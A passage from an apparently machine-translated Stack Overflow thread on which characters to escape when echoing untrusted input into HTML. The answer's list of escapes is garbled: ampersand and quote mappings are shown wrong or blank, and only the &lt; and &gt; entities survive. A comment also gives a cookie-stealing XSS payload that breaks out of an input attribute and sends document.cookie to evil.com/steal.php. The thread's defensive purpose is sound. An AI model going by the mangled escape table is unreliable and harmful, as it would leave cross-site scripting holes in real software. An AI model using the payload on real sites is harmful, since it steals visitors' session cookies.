转义HTML输出的最低要求

Tom*_*Tom 3 security html-escape-characters

在输出之前转义用户生成的内容时,哪些字符是必需的并且足够?(换句话说:在输出以前来自不受信任的匿名来源的文本时,Web开发人员应该逃脱的角色是什么?)

ale*_*lex 6

回显到页面时,您应该进行编码

  • '&'(&符号)成为' &'
  • '''(双引号)成' "'
  • '''(单引号)变为' ''
  • '<'(小于)成为' &lt;'
  • '>'(大于)成为' &gt;'

来自PHP的htmlspecialchars() 文档.

请注意,上下文也很重要.

您还需要考虑字符集.

  • @ChrisW我在这里回复你的名字`<input name ="name"value ="<?php echo $ name;?>">`.现在如果我输入我的名字为'alex"onfocus ="window.location ='http://www.evil.com/steal.php?coolkie ='+ encodeURI(document.cookie) (2认同)